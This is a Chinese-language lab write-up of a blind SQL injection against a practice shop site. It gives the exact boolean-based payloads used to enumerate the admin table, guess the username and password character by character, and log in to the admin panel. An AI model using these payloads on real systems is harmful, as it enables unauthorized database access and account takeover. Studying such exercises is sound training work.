shop靶机盲注获取后台管理员账号密码
找到注入点。
注入点:http://192.168.244.131:60785/shop/productshopxp.asp?id=485
首先分析一下为什么确定这是一个注入点:
一、 正常页面如下:
二、 在URL后加’即http://192.168.244.131:60785/shop/productshopxp.asp?id=485’页面报错
三、 在URL后加and1=1即http://192.168.244.131:60785/shop/productshopxp.asp?id=485and 1=1 页面无变化
四、 在URL后加and1=2即http://192.168.244.131:60785/shop/productshopxp.asp?id=485and 1=2页面报错
由以上几点可以得知,我们提交的一些数据或者命令被数据库执行,可以确定这就是一个注入点。
获得后台数据库中存储网站用户和密码的数据表。
从这个提交的数据我们大概可以猜测该注入为数字型的注入 sql语句大致如下:
Select * from 表名 where id = 数字
判断是否存在某个表我们用下面的语句
and exists(select count(*) from 表名)
如果存在,则页面无变化,如果不存在,则页面返回没有此id的商品
我们先测试下admin这个表是否存在
and exists(select count(*) from admin)
发现页面无变化,则存在该表,再测一下users这个表
发现报错,大致可以认为该后台数据库中存储网站用户和密码的数据表,
那我们再测一下这个表中是否存在users或者user或者admin 和password这两列是否存在
and exists(select count(password)from admin)
and exists(select count(users)from admin)
结果发现users和user这两列都不对
再试试admin
and exists(select count(admin)from admin)
发现admin这一列存在,则可以确定如下:
存储账号和密码的表为admin
逐位猜解出用户名和密码(只需写出猜解前两位的过程)。
猜解用户名和密码时,我们需要一位一位的猜解,首先是要获取某一行的用户名和密码的长度,用法如下:
and (select top 1 len(admin) fromadmin)>一个数字
这里用二分法确定其长度和每一位字段的ascll值,
and (select top 1 len(admin) fromadmin)>7
发现报错
and (select top 1 len(admin) fromadmin)>4
页面正常
and (select top 1 len(admin) fromadmin)>5
页面报错,则admin表中用户名这一列第一行用户名长度为5
下面开始猜解每一位的ascll值
and (select top 1 asc(mid(admin,1,1))from admin)>97
这里top 1代表第一行 (admin,1,1)中第一个1为第一位,第二个1代表偏移几位,
页面报错
and (select top 1 asc(mid(admin,1,1))from admin)>50
页面正常
通过这样的方式确定admin第一行第一个字母ascll值为97 对照一下得a
下面猜测第二位
and (select top 1 asc(mid(admin,2,1))from admin)>99
页面正常
and (select top 1 asc(mid(admin,2,1))from admin)>100
页面报错 则第二位ascll值为100 是d
循环这样的方式最后得admin第一行为admin,password为MD5加密后的密码 解密后为admin
用获得的用户名和密码验证是否能登陆。
找到管理页面,
http://192.168.244.131:60785/shop/admin/login.asp
管理登录成功!